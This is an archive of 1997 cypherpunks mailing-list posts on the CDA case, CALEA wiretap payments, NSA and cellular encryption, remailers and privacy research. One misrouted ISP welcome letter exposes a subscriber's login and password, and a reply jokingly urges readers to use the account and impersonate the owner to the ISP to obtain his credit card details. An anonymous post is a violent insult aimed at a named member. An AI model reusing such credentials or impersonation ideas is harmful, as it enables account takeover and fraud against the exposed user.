In-Reply-To: <3.0.1.32.19970320124236.0062d868@popd.ix.netcom.com>
Message-ID: <Pine.GSO.3.95.970320125620.8134E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Is it possible that the technology that helps us to claim the CDA is not
the least restrictive means to accomplish the gvt's (disputed) goal
of protecting junior *also* helps the gvt argue it's easier to comply?

In other words, if the justices disagree with us on the LRM argument
(perhaps saying that kiddies can log in from the mall or at a
friend's house w/out censorware) -- then censorware *helps* the gvt claim
a revised CDA is constitutional?

David Sobel, a lawyer at EPIC and co-counsel in the CDA suit, told me the
Justice Department could use this combination to argue just that: "I think
if there were a large installed base of technology that could make
compliance with a CDA-type statute feasible, then a court might not have
the same problems with it. If you were looking at a technological
environment where there's a large installed base of PICS-compliant
browsers, then the argument would be that to comply with the CDA you have
to self-rate your stuff."

-Declan





On Thu, 20 Mar 1997, Bill Stewart wrote:

> One of the main arguments about technology for the good guys is that
> the CDA's infringements on free speech are not the least restrictive
> means for accomplishing their (claimed) objective - technology gives us
> some options today (like censor-filters) - and advances in technology
> _strengthen_ the pro-free-speech case, because they provide more alternatives
> that are less restrictive than the censorship approach.
> 
> At 06:45 PM 3/19/97 -0500, Declan wrote:
> >http://cgi.pathfinder.com/netly/editorial/0,1012,744,00.html
> >     Justice Scalia, who noted that he uses a
> >computer, pointed out that technology is rapidly
> >changing. "So much of your argument is based on
> >what's currently available," he said to Ennis.
> >"This technology is changing so quickly. Is it
> >possible that this statute is unconstitutional
> >now but could be [constitutional] in four or five
> >years?" Ennis replied: "Not as it's written."
> >
> >     During a subsequent press conference, Ennis
> >added that indeed, the technology is changing,
> >and is giving parents more control over what
> >their children do and see online. "Precisely
> >because the technology is changing, the
> >government should not be trying to enforce this
> >law," he said. The ACLU attorneys who joined
> >Ennis were grinning: the justices appeared to
> >understand the nature of communications online,
> >noted that teens have rights, and focused on free
> >speech, not porn.
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 20 Mar 1997 13:49:35 -0800 (PST)
To: Lile Elam <cypherpunks@toad.com
Subject: Re: Isn't this like a bad idea?
In-Reply-To: <199703202045.MAA16675@art.net>
Message-ID: <v03007805af5763780d26@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:45 PM -0800 3/20/97, Lile Elam wrote:
>Hi folks,
>
>Selling email addresses seems to me to be a bad idea. Wouldn't
>it be better to have people sign up instead of this? I mean,
>it looks like this is for spammers.
>
>Who can I contact about this abuse?
>

It may be tacky and undesirable, but public information is just that, public.

(I don't mean some quasi-legalistic distinction between "public" and
"private," as defined by regulators, I mean information publically
accessible.)

If one wants something kept private, use privacy tools.

(And as Cypherpunks know so well, if regulators/legislators attempt to
interfere in such markets, the markets will simply move to other
jurisdictions, or into cyphersace.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Thu, 20 Mar 1997 14:21:03 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Cell Phone Code Cracked
Message-ID: <88CE23A0B727D0118BB000805FD47524010C200C@RED-81-MSG.dns.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain



From:	John Young

[................]These
technologists, who planned to release their findings in a news
release on Thursday, argue that the best way to insure that
the strongest security codes are developed is to conduct the
work in a public forum. And so they are sharply critical of
the current industry standard setting process which has made
a trade secret of the underlying mathematical formulas used to
create the security codes.
......................................


It becomes apparent that some people have the ideas of "private" and
"public" backwards - they do in secret what should be done openly while
supporting the license to access what should be private matters.

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Mar 1997 12:32:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: U.S Mint Electronic Cash Study
Message-ID: <v03020935af57407245bd@[204.179.136.178]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: jmuller@brobeck.com (John D. Muller)
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 20 Mar 1997 08:38:05 -0800
From: jmuller@brobeck.com (John D. Muller)
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  Re: U.S Mint Electronic Cash Study

     Federal Reserve Governor Kelley and New York Fed President McDonough
     have both stated that the Fed has no plans to issue electronic money.
     See:  http://www.bog.frb.fed.us/BOARDDOCS/SPEECHES/19960618.htm
           http://www.ny.frb.org/pihome/news/speeches/sp961008.html
----------
The e$ lists are brought to you by:

Intertrader Ltd - Commerce Solutions in the UK
Visit <http://www.intertrader.com/> for details ...

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it!  See <http://www.shipwright.com/rah.html>
Or, for e$/e$pam sponsorship, see <http://www.shipwright.com/rah/>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 20 Mar 1997 12:33:04 -0800 (PST)
To: cryptography@c2.org
Subject: ONK?: SANS Network Security Digest?
Message-ID: <v03020938af57419e8c59@[204.179.136.178]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: ploshin@pop.tiac.net
Date: Thu, 20 Mar 1997 11:39:22 -0500
To: Robert Hettinga <rah@shipwright.com>
From: Pete Loshin <pete@loshin.com>
Subject: Re: DCSB: Stewart Baker on Clinton Administration Crypto
  Policy and Digital Commerce
Mime-Version: 1.0

Bob, just a quick question, have you heard/seen anything on this:

|            The SANS Network Security Digest                   |
|                 Contributing Editors:                         |
|    Michele Crabb, Matt Bishop, Steve Bellovin, Rob Kolstad    |
|   Gene Spaford, Marcus Ranum, Gene Schultz, Dorothy Denning   |
----A Resource for Computer and Network Security Professionals---

It's an $80/yr e-mail newsletter; there are a lot of recognizable names
there, but the thing isn't digitally signed.  Also, isn't it "Spafford"?
Anyway, anything you know would be appreciated, and if you don't know
anything, could you ask around (e.g., some of the likelier mailing lists
which I no longer subscribe to.)

<snip>

Thanks,
-pl




/-------------------------\
| Pete Loshin             |
| BYTE                    |
| 24 Hartwell Ave         |
| Lexington, MA 02173     |
| vox +1 617/860-6830     |
| fax +1 617/860-6522     |
| pete@loshin.com         |
\-------------------------/

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 20 Mar 1997 12:12:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: FBI Wiretap Payments
Message-ID: <1.5.4.32.19970320200459.006caec8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The FBI has published in the Federal Register today:

Implementation of Section 109 of the Communications Assistance
for Law Enforcement Act

AGENCY: Federal Bureau of Investigation, DOJ.

ACTION: Final rule.

-----------------------------------------------------------------------

SUMMARY: This rule implements section 109 of the Communications
Assistance for Law Enforcement Act (CALEA), which requires the Attorney
General to establish regulations which set forth the procedures that
telecommunications carriers must follow in order to receive
reimbursement under Sections 109 and 104 of CALEA. CALEA requires that
this rule enable carriers to receive payments in a timely and cost-
efficient manner while minimizing the cost to the Federal Government.
Specifically, this rule sets forth the means of determining allowable
costs, reasonable costs, and disallowed costs. Furthermore, it
establishes the requirements carriers must meet in their submission of
cost estimates and requests for payment to the Federal Government for
the disbursement of CALEA funds. In addition, this rule protects the
confidentiality of trade secrets and proprietary information from
unnecessary disclosure. Finally, it sets forth the means for
alternative dispute resolution.

-----

http://jya.com/fbi032097.txt  (177K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 20 Mar 1997 12:48:50 -0800 (PST)
To: rah@shipwright.com (Robert Hettinga)
Subject: Re: ONK?: SANS Network Security Digest?
In-Reply-To: <v03020938af57419e8c59@[204.179.136.178]>
Message-ID: <199703202045.PAA14761@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


	I see it at a security meeting each month.  Its a good summary
of the last month's advisories, but if you're on bugtraq & BOS, it
won't add new data.

	If you've unsubscribed due to time, its probably worth the
money.

Adam


Robert Hettinga wrote:
| 
| --- begin forwarded text
| 
| 
| X-Sender: ploshin@pop.tiac.net
| Date: Thu, 20 Mar 1997 11:39:22 -0500
| To: Robert Hettinga <rah@shipwright.com>
| From: Pete Loshin <pete@loshin.com>
| Subject: Re: DCSB: Stewart Baker on Clinton Administration Crypto
|   Policy and Digital Commerce
| Mime-Version: 1.0
| 
| Bob, just a quick question, have you heard/seen anything on this:
| 
| |            The SANS Network Security Digest                   |
| |                 Contributing Editors:                         |
| |    Michele Crabb, Matt Bishop, Steve Bellovin, Rob Kolstad    |
| |   Gene Spaford, Marcus Ranum, Gene Schultz, Dorothy Denning   |
| ----A Resource for Computer and Network Security Professionals---
| 
| It's an $80/yr e-mail newsletter; there are a lot of recognizable names
| there, but the thing isn't digitally signed.  Also, isn't it "Spafford"?
| Anyway, anything you know would be appreciated, and if you don't know
| anything, could you ask around (e.g., some of the likelier mailing lists
| which I no longer subscribe to.)
| 
| <snip>
| 
| Thanks,
| -pl

-- 
"Well, that depends.  Do you mind the end of civilization as we know
it?"








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 20 Mar 1997 15:51:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: NSA responds to criticism over weakening cellular crypto
Message-ID: <Pine.GSO.3.95.970320155109.27273G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 20 Mar 1997 15:50:40 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: NSA responds to criticism over weakening cellular crypto

John Markoff writes in today's NYT:

	Several telecommunications industry officials said the
	pressure came from the National Security Agency, which feared
	that stronger encryption technology might allow criminals or
	terrorists to conspire with impunity by cellular phones.

	But independent security experts now say that the code is easy
	enough to crack that anyone with sufficient technical skills
	could make and sell a monitoring device that would be as easy
	to use as a police scanner is.

Below the NSA's Clint Brooks responds to Dave Banisar.

-Declan

---------- Forwarded message ----------
Date: Thu, 20 Mar 1997 18:08:28 -0500
From: Dave Banisar <Banisar@epic.org>

>Date: Thu, 20 Mar 1997 17:35:44 -0500
>From: Clinton Brooks <cbrooks@romulus.ncsc.mil>
>Reply-To: cbrooks@romulus.ncsc.mil
>MIME-Version: 1.0
>To: banisar@epic.org
>CC: "Brooks, Clinton" <cbrooks@romulus.ncsc.mil>
>Subject: Cellular Phone Flaw
>
>Dave,
>
>   Re your comments on the flaw apparently found in cellular phones:
>
>   We have released the following statement:
>
>   "NSA had no role in the design or selection of the encryption
>algorithm chosen by the Telecommunications Industry Association (TIA).
>NSA also had no role in the design or manufacture of the telephones
>themselves.  As we understand the researchers' claim, it appears that
>the algorithm selected and the way it was implemented in the system has
>led to the stated flaws.
>
>NSA provided the TIA with technical advice on the exportability of these
>devices under U.S. export regulations and processes."
>
>
>								Clint
>


=========================================================================
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003
PGP Key: http://www.epic.org/staff/banisar/key.html
=========================================================================









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Thu, 20 Mar 1997 14:41:15 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: ONK?: SANS Network Security Digest?
In-Reply-To: <v03020938af57419e8c59@[204.179.136.178]>
Message-ID: <v0300780eaf576ba5ee4b@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



>|            The SANS Network Security Digest                   |
>|                 Contributing Editors:                         |
>|    Michele Crabb, Matt Bishop, Steve Bellovin, Rob Kolstad    |
>|   Gene Spaford, Marcus Ranum, Gene Schultz, Dorothy Denning   |
>----A Resource for Computer and Network Security Professionals---

Bob reported:

>It's an $80/yr e-mail newsletter; there are a lot of recognizable names
>there, but the thing isn't digitally signed.  Also, isn't it "Spafford"?
>Anyway, anything you know would be appreciated, and if you don't know
>anything, could you ask around (e.g., some of the likelier mailing lists
>which I no longer subscribe to.)

It's still free!

>From the March issue:

(A _great_ summary of the month's compsec events, despite misspelling
Spaf's name. _Vin)

<quote>

The SANS Network Security Digest is published via email approximately
eight times per year.  It's purpose is to help busy sysadmins and
security professionals gain confidence that they are aware of the
important security vulnerabilities and what can be done to resolve them.
Subsriptions are always free for all who attend SANS and Network Security
conferences.  Others may also subscribe at no cost as long as their
subscriptions are received before April 30, 1997. Free subscriptions
entered before April 30 are effective through the end of next year (1998).

To subscribe, send email to sans@clark.net.
In the Subject: SANS Network Security Digest,
In the Body: name, title, organization, preferred email address, and, if
you also want an updated network security roadmap wall poster, your
surface mailing address.

After March 31, subscriptions are $80 per year. Send check to SANS
Network Security Digest, 4610 Tournay Road, Bethesda, MD 20816. The
Digest is copyrighted and may not be retransmitted or distributed or
copied without written permission.
<end quote>

      Vin McLellan + The Privacy Guild + <vin@shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 20 Mar 1997 15:43:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] PRNG
Message-ID: <199703202343.SAA14458@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May, a product of anal birth, appeared 
with a coathanger through his head.

    o      o o o   o
   /~>    <><><>   <> Timmy May
o...(\    ||||||   ||





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Thu, 20 Mar 1997 16:02:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP Security
In-Reply-To: <199703201102.GAA30790@dhp.com>
Message-ID: <Pine.LNX.3.95.970320185104.1482A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 20 Mar 1997, lucifer Anonymous Remailer wrote:

>   I am passing along the following message, not because of my belief in
> the accuracy or veracity of its contents, but merely because of the 
> fact that it seems to have kept getting eaten up by various email
> systems in the attempts to send it to its original destination.
>   The first time it was sent via a remailer, it was bounced for ill-
> defined reasons. The second time it was sent, the remailer was shut
> down, and remains shut down.
>   Efforts to send it through a second remailer also failed, with no
> notice from the server of any problems being received. Other email
> sent through the remailer at the same time encountered no difficulties.

Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did receive
the following message which originated from "TruthMonger."  Shortly after I
received the message, anon.nymserver.com closed down all of its free,
anonymous accounts due to "abuse."

>   I am only noting the facts, here, not proferring any personal judge-
> ments on the matter, although I have formed my own opinion as to the
> meaning of these facts, particularly since I, myself, came by this 
> post during the process of email interception.

I am skeptical.

> 
> > X-Anon-Password: XXXXXXXXXX
> > X-Anon-To: XXXXXXXXXXX
> > X-Anon-Name: XXXXXXXXXXXX
> 
> XXXXXXXXX,
>  I thought I would reply privately to you, since you seem to
> at least have a willingness to allow the possibility of compromises
> to the security of the encryption methodologies behind PGP programs,
> among others.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMzHQxyzIPc7jvyFpAQEVeAgAlCqL2chXC0C79lb5IGGy9zE6eIYl/ZKQ
mHqYRLjZ9wrKh88/1SDgbK1t3fBKPU/VP8NyCsmWcWuvvylXtr+GAoY9YzdovkIG
awCMm6p4oBNzCf0KvzGoLYG0Y+nx+zNrNpM/7Yw4E3YmXPryD/XY1Wzq0309Dt+d
EfotBt+FfBiFXzRJTb1VFur2Yyc8uJipoAwlbKZvLSAyxapQu+YtKrp74FVhCNfe
VsPlh8PyePlP2KVGMdqERVLCR6ru2FMcHrjiEkqZDucTLjx2UMo/0Cw6Gba1oqEQ
pPgsx/bf0L/D2tKVPys6psCPrNK0hvm440LJDi+qAAwJaJtK6wiRvQ==
=Sqf2
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 20 Mar 1997 17:23:20 -0800 (PST)
To: jimbell@pacifier.com
Subject: Re: PGP Security
In-Reply-To: <Pine.LNX.3.95.970320185104.1482A-100000@purple.voicenet.com>
Message-ID: <199703210116.TAA12097@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mark M. wrote:
> 
> Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did receive
> the following message which originated from "TruthMonger."  Shortly after I
> received the message, anon.nymserver.com closed down all of its free,
> anonymous accounts due to "abuse."
> 

This is mostly addressed to jimbell: jim, it is now obvious that
the remailer network is as weak as a 5 year old child. It cannot
possibly withstand even mildest forms of "abuse".

Due to this fact, I question the viability of your assassination 
politics idea as it does not seem possible to safely operate an
assassination bot.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nic <sf-nic@dm.net>
Date: Thu, 20 Mar 1997 19:46:05 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Spam from DM.NET
In-Reply-To: <R76V4D30w165w@bwalk.dm.com>
Message-ID: <333203DE.26B5@dm.net>
MIME-Version: 1.0
Content-Type: text/plain


First off, please let me apologize for this un-intentional "spam."  

(I'll spare you guys the irrelevant argument about whether one letter
constitutes "spam."  The bottom line is it shouldn't have happened, it's
not your fault or responsibility, and you shouldn't have to wade through
_my_ shit over piddling crap like definitions.)

The letter in question was specifically addressed to an address at
msn.com, and I honestly have no idea how it ended up being routed to
dm.com, much less a specific individual's mailbox.  Unless Jim
RoadRunner mis-addressed a reply back to dm.net.  But even there, I'm at
a loss to know how it ended up in Dr. Dimitri's mailbox.  In any case,
it shouldn't have landed there at all.

Btw., thanks Toto for passing this back to me.  It does give us a chance
to change the access password.  And to try to figure out what screwed up
where to make sure it doesn't happen again.  


Toto wrote:
> 
> Dr.Dimitri Vulis KOTM wrote:
> >
> > Who the fuck is "dueling modems"?  Why am I getting this shit at my
> > site? This is dm.com, not dm.net.  What a bunch of fucking morons.
> >
> > "Jim RoadRunner" <Wild_Mouse@msn.com> writes:

Dimitri - To you I specifically apologize for the inadvertant arrival of
this email in your box.  It was completely un-intentional and, as you
point out, uncalled-for.  Dueling Modems (dm.net) is most definitely NOT
D&M Consulting (dm.com), or any sub-domain housed under their umbrella. 
We're a small online service that Jim has recently joined, and
apparently a confirmation letter or reply was mistakenly routed to you.

> 
> Dimitri,
>   It's simple enough. The man is generous and wants others to
> be able to use his account, free of charge.
>   He also wants us to pretend that we are him, asking his ISP to
> 'confirm' the credit card number he gave them, to make sure it's
> the right one.

Well, not exactly...  <g>

> 
>   When you find out more about the "Electronic Funds Transfer
> information" they mention, could you forward it to the list so
> that this fellow's generosity will not go unappreciated?

Actually, any EFT information you might pick up would only serve you in
depositing money _into_ Jim's account.  

> 
> --
> Toto
> "The Xenix Chainsaw Massacre"
> http://bureau42.base.org/public/xenix/xenbody.html

Nice story on the web page, btw.


Again, apologies to all and thanks for being gentle about letting us
know about the screw-up.

nic




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 20 Mar 1997 17:35:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spam from DM.NET
In-Reply-To: <UPMAIL09.199703201933120342@msn.com>
Message-ID: <R76V4D30w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Who the fuck is "dueling modems"?  Why am I getting this shit at my
site? This is dm.com, not dm.net.  What a bunch of fucking morons.

"Jim RoadRunner" <Wild_Mouse@msn.com> writes:

>
>
> ----------
> From: 	nic
> Sent: 	Wednesday, March 19, 1997 5:26 PM
> To: 	Jim RoadRunner
> Subject: 	Welcome to Dueling Modems!
>
> Dear James,	
>  	
> Welcome to Dueling Modems!	
>  	
> This letter is to confirm that we've received your signup and billing
> information, and have set up your account.	
>  	
> ***** ACCOUNT INFORMATION *****	
>  	
>                              Acct #: 	0032108
>                                  ID: 	wild-mouse
>                            Password: 	railroad
>                          Email Name: 	wild-mouse@dm.net
>                   Email Destination: 	wild_mouse@msn.com
>  	
> We may have tweaked some of the ID/Pwd information you put on the form,
> to meet the requirements of our operating system.  Please make sure you
> use the information above when configuring your software.	
>  	
> ***** EMAIL INFORMATION *****	
>  	
> If your email destination is "local," you'll need to set up your email
> program with the following parameters:	
>  	
>                         POP3 Server:	mail.dm.net
>                         SMTP Server:	mail.dm.net
>                    Email Account ID:	wild-mouse
>              Email Account Password:	railroad
>                         POP Account:	wild-mouse@dm.net
>                           Real Name:	(or your "handle")
>                      Return Address:	wild-mouse@dm.net
>  	
> ***** BILLING INFORMATION *****	
>  	
>       You've chosen to be billed by:	Credit Card
> Your first billing month was/will be:	Apr-97
>           Your billing frequency is:	monthly
>  	
> If you've chosen to be billed by check, you'll receive an invoice via
> email sent to the above destination address.	
>  	
> Electronic Funds Transfer subscribers will receive an additional email
> containing the information you'll need to provide to your bank to set up
> the process.	
>  	
> ***** NEWSGROUP INFORMATION *****	
>  	
> Your personal members' newsgroup is:	
>  	
>      dm.members.wild-mouse	
>  	
> ***** WEB PAGE INFORMATION *****	
>  	
> The URL for your personal web site is:	
>  	
>      http://www.dm.net/~wild-mouse/	
>  	
> If you've opted to have a personal web page:	
>  	
> To load your web pages, you'll need an "ftp client."  This software lets
> you upload files to a remote server.	
>  	
> (Dueling Modems provides links to several ftp packages on our Software
> Warehouse web page.)	
>  	
> Configure your ftp client to log onto:	
>   	
>      www.dm.net	
>  	
> Make sure you set up the ftp client software to use the ID and password
> listed at the beginning of this letter.  You'll be directly connected to
> your own directory space.	
>  	
> Once connected, you'll see a sub-directory named "web_pages".  Log into
> that directory.  You can then upload your HTML files.	
>  	
> For help in creating your web pages, check into the  dm.html.*  area on
> the news server.  The staff there are experts, and are delighted to help
> out.	
>  	
> Apologies for the brevity of these instructions.  We'll be creating an
> Online User's Guide soon, which will include detailed instructions for
> various software packages.  For the time being, though, please ask for
> help in dm.html.*.	
>  	
> ***** USER AUTHENTICATION *****	
>  	
> (aka, Logging into the news server.)	
>  	
> We're beginning to move parts of the service to "subscriber-only" mode,
> which will require you to set up your User ID and Password in your
> newsreading software.	
>  	
> User authentication will also be needed to gain access to private areas
> within the news server.  We've set up two groups specifically to test
> your log-in:	
>   	
>      dm.priv-test.announce	
>      dm.priv-test.sign-in	
>  	
> Please set up your newsreader for user Authentication now, and refresh
> your group list to make sure you can reach these two groups.  If you
> can't, check into  dm.admin.help-desk.newsreaders for assistance.	
>  	
> Unfortunately, the very popular Netscape Navigator does NOT provide any
> way of entering your ID/Password when you try to connect to DM's server,
> which means that eventually you won't be able to reach the BBS with
> Navigator.  :(	
>  	
> The solution is to use a different software package.  We recommend Free
> Agent for Windows users and NewsWatcher for Mac users.  Both of these
> packages are free and available from DM's Software Warehouse web page:	
>   	
>      http://dm.net/software.htm	
>  	
> We're taking our time in making this conversion, btw., so as to make
> sure nobody gets caught unable to reach us.  So don't worry about that.	
>  	
> Of course, installing and learning new software always takes time and
> often requires a bit of hand-holding.  Again, feel free to check into
> the dm.admin.help-desk.newsreader group for help.  That group will be
> publicly available for some time to come.	
>  	
> As mentioned above, we will be setting up an Online User's Guide on the
> DM web site.  Installing and configuring software will be covered
> extensively.  But for the meantime, please use the help desk newsgroup.	
>  	
> Again, welcome to Dueling Modems.  If you have any questions, feel free
> to drop me an email at:	
>   	
>      sysop@dm.net	
>  	
> If I don't know the answer, we'll find somebody who does.  ;)	
>  	
> Nic Grabien	
> President, Dueling Modems
>


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <billstewart@mail.att.net>
Date: Thu, 20 Mar 1997 20:12:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mobile IP Resources -- Analysis of Security and Privacy in Mobile IP
Message-ID: <33320A48.3BE8@mail.att.net>
MIME-Version: 1.0
Content-Type: text/plain

An anonymous poster to alt.cypherpunks recommended the attached article.
http://www.neda.com/mobileIpSurvey/html/mobileIP_37.html

Title: Mobile IP Resources -- Analysis of Security and Privacy in Mobile IP










Go backward to Improving Reliable Transport and Handoff Performance in Cellular Wireless Networks

Go up to Mobile IP Research and Technical papers

Go forward to Variable and Scalable Security: Protection of Location Information in Mobile IP


Analysis of Security and Privacy in Mobile IP
http://www-i4.informatik.rwth-aachen.de/~andreas/PAPERS/SecurityPerformance.ps.gz
Authors: A. Fasbender, D. Kesdogan, and O. Kubitz 
Date: March 1996 
In this paper we present a possible extension of the proposed Mobile 
IP and route optimization protocols, the Non-Disclosure 
Method (NDM). It prevents the tracking of user movements by 
third parties and gives mobile users control over the revelation of 
their location information, according to their personal security 
demands.
We give an overview on Mobile IP protocols and briefly 
discuss these protocols in terms of security issues. We show 
that confidential location management in Mobile IP is an 
unsolved problem. Then we propose our method for 
providing untraceable communications in packet-oriented mobile networks.
NDM is based on the idea of mixes, which 
has been suggested by Chaum for hiding the originator addresses of electronic 
mails. Our algorithm prevents the linkability of sender and recipient addresses 
in Mobile IP, can be easily adopted to other mobility 
supporting networks as well. We conclude our paper with performance 
aspects, discussing the trade-off between the level of 
security provided and the costs of NDM in terms of increased 
packet transmission delays. For this purpose, we present 
a new modelling approach for Internet connections, which is 
based on empirically derived packet delay distributions and 
their analytical description. Our results show that the 
overhead for confidential location management is not 
as critical as might be expected, and that a considerable 
delay reduction compared to mixes can be achieved.


info@neda.com









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wow-com@wow-com.com
Date: Thu, 20 Mar 1997 17:16:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: WOW-COM Registration
Message-ID: <199703210116.UAA11115@intraactive.com>
MIME-Version: 1.0
Content-Type: text/plain


Dear cypherpunks:



Welcome to WOW-COM.  By now you have had a chance to explore WOW-COM's rich content and features. Here are a few items to check out during your next visit.

* The Wireless Daily News - updated three times a day.

* WOW-COM's Career Center - The Wireless Workplace is the premiere source of wireless jobs.  

* Fraud and Antenna Siting Micro sites - latest news, legal developments, resources, and analyses from experts at CTIA.  

>From time to time WOW-COM will use email to inform you of new features.  Please let us know if you do not want to receive these updates.  WOW-COM does  not sell or distribute its mailing lists.

Sincerely,

The WOW-COM Team
wowcom@ctia.org

http://www.wow-com.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 20 Mar 1997 18:25:52 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Spam from DM.NET
In-Reply-To: <R76V4D30w165w@bwalk.dm.com>
Message-ID: <3331F1DE.6DD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> Who the fuck is "dueling modems"?  Why am I getting this shit at my
> site? This is dm.com, not dm.net.  What a bunch of fucking morons.
> 
> "Jim RoadRunner" <Wild_Mouse@msn.com> writes:

Dimitri,
  It's simple enough. The man is generous and wants others to 
be able to use his account, free of charge.
  He also wants us to pretend that we are him, asking his ISP to
'confirm' the credit card number he gave them, to make sure it's
the right one.

  When you find out more about the "Electronic Funds Transfer 
information" they mention, could you forward it to the list so
that this fellow's generosity will not go unappreciated?

> > This letter is to confirm that we've received your signup and billing
> > information, and have set up your account.
> >
> > ***** ACCOUNT INFORMATION *****
> >
> >                              Acct #:  0032108
> >                                  ID:  wild-mouse
> >                            Password:  railroad
> >                          Email Name:  wild-mouse@dm.net
> >                   Email Destination:  wild_mouse@msn.com
> >
> > ***** BILLING INFORMATION *****
> >
> >       You've chosen to be billed by:  Credit Card
> > Your first billing month was/will be: Apr-97
> >           Your billing frequency is:  monthly
> >
> >
> > Electronic Funds Transfer subscribers will receive an additional email
> > containing the information you'll need to provide to your bank to set up
